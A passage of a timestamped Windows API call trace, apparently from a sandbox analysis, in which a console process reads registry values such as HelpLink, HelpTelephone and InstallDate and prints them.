_File=0x7fefd702ab0) returned 0 [0150.985] lstrlenW (lpString="HelpLink") returned 8 [0150.985] __iob_func () returned 0x7fefd702a80 [0150.985] _fileno (_File=0x7fefd702ab0) returned 1 [0150.985] _errno () returned 0x204bb0 [0150.985] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.985] _errno () returned 0x204bb0 [0150.985] GetFileType (hFile=0x50) returned 0x1 [0150.985] lstrlenW (lpString="HelpLink") returned 8 [0150.985] GetConsoleOutputCP () returned 0x1b5 [0150.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.985] GetConsoleOutputCP () returned 0x1b5 [0150.985] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0150.985] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.985] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.985] __iob_func () returned 0x7fefd702a80 [0150.985] _fileno (_File=0x7fefd702ab0) returned 1 [0150.985] _errno () returned 0x204bb0 [0150.985] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.985] _errno () returned 0x204bb0 [0150.985] GetFileType (hFile=0x50) returned 0x1 [0150.986] lstrlenW (lpString=" ") returned 4 [0150.986] GetConsoleOutputCP () returned 0x1b5 [0150.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.986] GetConsoleOutputCP () returned 0x1b5 [0150.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.986] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.986] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.986] __iob_func () returned 0x7fefd702a80 [0150.986] _fileno (_File=0x7fefd702ab0) returned 1 [0150.986] _errno () returned 0x204bb0 [0150.986] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.986] _errno () returned 0x204bb0 [0150.986] GetFileType (hFile=0x50) returned 0x1 [0150.986] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.986] GetConsoleOutputCP () returned 0x1b5 [0150.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.986] GetConsoleOutputCP () returned 0x1b5 [0150.986] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.986] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.986] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.987] __iob_func () returned 0x7fefd702a80 [0150.987] _fileno (_File=0x7fefd702ab0) returned 1 [0150.987] _errno () returned 0x204bb0 [0150.987] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.987] _errno () returned 0x204bb0 [0150.987] GetFileType (hFile=0x50) returned 0x1 [0150.987] lstrlenW (lpString=" ") returned 4 [0150.987] GetConsoleOutputCP () returned 0x1b5 [0150.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.987] GetConsoleOutputCP () returned 0x1b5 [0150.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.987] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.987] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.987] __iob_func () returned 0x7fefd702a80 [0150.987] _fileno (_File=0x7fefd702ab0) returned 1 [0150.987] _errno () returned 0x204bb0 [0150.987] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.987] _errno () returned 0x204bb0 [0150.987] GetFileType (hFile=0x50) returned 0x1 [0150.987] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=146008") returned 45 [0150.987] GetConsoleOutputCP () returned 0x1b5 [0150.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=146008", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0150.987] GetConsoleOutputCP () returned 0x1b5 [0150.987] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=146008", cchWideChar=45, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=146008", lpUsedDefaultChar=0x0) returned 45 [0150.988] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0150.988] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.988] __iob_func () returned 0x7fefd702a80 [0150.988] _fileno (_File=0x7fefd702ab0) returned 1 [0150.988] _errno () returned 0x204bb0 [0150.988] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.988] _errno () returned 0x204bb0 [0150.988] GetFileType (hFile=0x50) returned 0x1 [0150.988] lstrlenW (lpString="\n") returned 1 [0150.988] GetConsoleOutputCP () returned 0x1b5 [0150.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.988] GetConsoleOutputCP () returned 0x1b5 [0150.988] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.988] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.988] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.988] GetProcessHeap () returned 0x3c0000 [0150.988] GetProcessHeap () returned 0x3c0000 [0150.988] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.988] GetProcessHeap () returned 0x3c0000 [0150.988] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0150.988] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.988] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.988] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.988] GetProcessHeap () returned 0x3c0000 [0150.988] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.988] GetProcessHeap () returned 0x3c0000 [0150.988] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.989] GetProcessHeap () returned 0x3c0000 [0150.989] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.989] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.989] __iob_func () returned 0x7fefd702a80 [0150.989] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.989] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.989] _fileno (_File=0x7fefd702ab0) returned 1 [0150.989] _errno () returned 0x204bb0 [0150.989] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.989] _errno () returned 0x204bb0 [0150.989] GetFileType (hFile=0x50) returned 0x1 [0150.989] lstrlenW (lpString=" ") returned 4 [0150.989] GetConsoleOutputCP () returned 0x1b5 [0150.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.989] GetConsoleOutputCP () returned 0x1b5 [0150.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.989] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.989] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.989] lstrlenW (lpString="HelpTelephone") returned 13 [0150.989] __iob_func () returned 0x7fefd702a80 [0150.989] _fileno (_File=0x7fefd702ab0) returned 1 [0150.989] _errno () returned 0x204bb0 [0150.989] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.989] _errno () returned 0x204bb0 [0150.989] GetFileType (hFile=0x50) returned 0x1 [0150.989] lstrlenW (lpString="HelpTelephone") returned 13 [0150.989] GetConsoleOutputCP () returned 0x1b5 [0150.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.990] GetConsoleOutputCP () returned 0x1b5 [0150.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0150.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.990] __iob_func () returned 0x7fefd702a80 [0150.990] _fileno (_File=0x7fefd702ab0) returned 1 [0150.990] _errno () returned 0x204bb0 [0150.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.990] _errno () returned 0x204bb0 [0150.990] GetFileType (hFile=0x50) returned 0x1 [0150.990] lstrlenW (lpString=" ") returned 4 [0150.990] GetConsoleOutputCP () returned 0x1b5 [0150.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.990] GetConsoleOutputCP () returned 0x1b5 [0150.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.990] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.990] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.990] __iob_func () returned 0x7fefd702a80 [0150.990] _fileno (_File=0x7fefd702ab0) returned 1 [0150.990] _errno () returned 0x204bb0 [0150.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.990] _errno () returned 0x204bb0 [0150.990] GetFileType (hFile=0x50) returned 0x1 [0150.991] lstrlenW (lpString="REG_SZ") returned 6 [0150.991] GetConsoleOutputCP () returned 0x1b5 [0150.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.991] GetConsoleOutputCP () returned 0x1b5 [0150.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.991] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.991] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.991] __iob_func () returned 0x7fefd702a80 [0150.991] _fileno (_File=0x7fefd702ab0) returned 1 [0150.991] _errno () returned 0x204bb0 [0150.991] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.991] _errno () returned 0x204bb0 [0150.991] GetFileType (hFile=0x50) returned 0x1 [0150.991] lstrlenW (lpString=" ") returned 4 [0150.991] GetConsoleOutputCP () returned 0x1b5 [0150.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.991] GetConsoleOutputCP () returned 0x1b5 [0150.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.991] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.991] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.991] __iob_func () returned 0x7fefd702a80 [0150.991] _fileno (_File=0x7fefd702ab0) returned 1 [0150.992] _errno () returned 0x204bb0 [0150.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.992] _errno () returned 0x204bb0 [0150.992] GetFileType (hFile=0x50) returned 0x1 [0150.992] lstrlenW (lpString="") returned 0 [0150.992] __iob_func () returned 0x7fefd702a80 [0150.992] _fileno (_File=0x7fefd702ab0) returned 1 [0150.992] _errno () returned 0x204bb0 [0150.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.992] _errno () returned 0x204bb0 [0150.992] GetFileType (hFile=0x50) returned 0x1 [0150.992] lstrlenW (lpString="\n") returned 1 [0150.992] GetConsoleOutputCP () returned 0x1b5 [0150.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.992] GetConsoleOutputCP () returned 0x1b5 [0150.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.992] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.992] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.992] GetProcessHeap () returned 0x3c0000 [0150.992] GetProcessHeap () returned 0x3c0000 [0150.992] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.993] GetProcessHeap () returned 0x3c0000 [0150.993] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.993] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.993] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.993] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0150.993] GetProcessHeap () returned 0x3c0000 [0150.993] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0150.993] GetProcessHeap () returned 0x3c0000 [0150.993] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.993] GetProcessHeap () returned 0x3c0000 [0150.993] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.993] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0150.993] __iob_func () returned 0x7fefd702a80 [0150.993] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.993] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.993] _fileno (_File=0x7fefd702ab0) returned 1 [0150.993] _errno () returned 0x204bb0 [0150.993] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.993] _errno () returned 0x204bb0 [0150.993] GetFileType (hFile=0x50) returned 0x1 [0150.993] lstrlenW (lpString=" ") returned 4 [0150.993] GetConsoleOutputCP () returned 0x1b5 [0150.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.993] GetConsoleOutputCP () returned 0x1b5 [0150.993] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.993] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.993] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.994] lstrlenW (lpString="InstallDate") returned 11 [0150.994] __iob_func () returned 0x7fefd702a80 [0150.994] _fileno (_File=0x7fefd702ab0) returned 1 [0150.994] _errno () returned 0x204bb0 [0150.994] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.994] _errno () returned 0x204bb0 [0150.994] GetFileType (hFile=0x50) returned 0x1 [0150.994] lstrlenW (lpString="InstallDate") returned 11 [0150.994] GetConsoleOutputCP () returned 0x1b5 [0150.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.994] GetConsoleOutputCP () returned 0x1b5 [0150.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0150.994] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.994] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.994] __iob_func () returned 0x7fefd702a80 [0150.994] _fileno (_File=0x7fefd702ab0) returned 1 [0150.994] _errno () returned 0x204bb0 [0150.994] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.994] _errno () returned 0x204bb0 [0150.994] GetFileType (hFile=0x50) returned 0x1 [0150.994] lstrlenW (lpString=" ") returned 4 [0150.994] GetConsoleOutputCP () returned 0x1b5 [0150.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.994] GetConsoleOutputCP () returned 0x1b5 [0150.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.995] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.995] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.995] __iob_func () returned 0x7fefd702a80 [0150.995] _fileno (_File=0x7fefd702ab0) returned 1 [0150.995] _errno () returned 0x204bb0 [0150.995] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.995] _errno () returned 0x204bb0 [0150.995] GetFileType (hFile=0x50) returned 0x1 [0150.995] lstrlenW (lpString="REG_SZ") returned 6 [0150.995] GetConsoleOutputCP () returned 0x1b5 [0150.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.995] GetConsoleOutputCP () returned 0x1b5 [0150.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.995] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.995] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.995] __iob_func () returned 0x7fefd702a80 [0150.995] _fileno (_File=0x7fefd702ab0) returned 1 [0150.995] _errno () returned 0x204bb0 [0150.995] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.995] _errno () returned 0x204bb0 [0150.995] GetFileType (hFile=0x50) returned 0x1 [0150.995] lstrlenW (lpString=" ") returned 4 [0150.995] GetConsoleOutputCP () returned 0x1b5 [0150.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.996] GetConsoleOutputCP () returned 0x1b5 [0150.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.996] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.996] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.996] __iob_func () returned 0x7fefd702a80 [0150.996] _fileno (_File=0x7fefd702ab0) returned 1 [0150.996] _errno () returned 0x204bb0 [0150.996] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.996] _errno () returned 0x204bb0 [0150.996] GetFileType (hFile=0x50) returned 0x1 [0150.996] lstrlenW (lpString="20170630") returned 8 [0150.996] GetConsoleOutputCP () returned 0x1b5 [0150.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.996] GetConsoleOutputCP () returned 0x1b5 [0150.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0150.996] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.996] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.996] __iob_func () returned 0x7fefd702a80 [0150.996] _fileno (_File=0x7fefd702ab0) returned 1 [0150.996] _errno () returned 0x204bb0 [0150.996] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.996] _errno () returned 0x204bb0 [0150.996] GetFileType (hFile=0x50) returned 0x1 [0150.996] lstrlenW (lpString="\n") returned 1 [0150.997] GetConsoleOutputCP () returned 0x1b5 [0150.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.997] GetConsoleOutputCP () returned 0x1b5 [0150.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.997] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.997] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.997] GetProcessHeap () returned 0x3c0000 [0150.997] GetProcessHeap () returned 0x3c0000 [0150.997] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.997] GetProcessHeap () returned 0x3c0000 [0150.997] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, 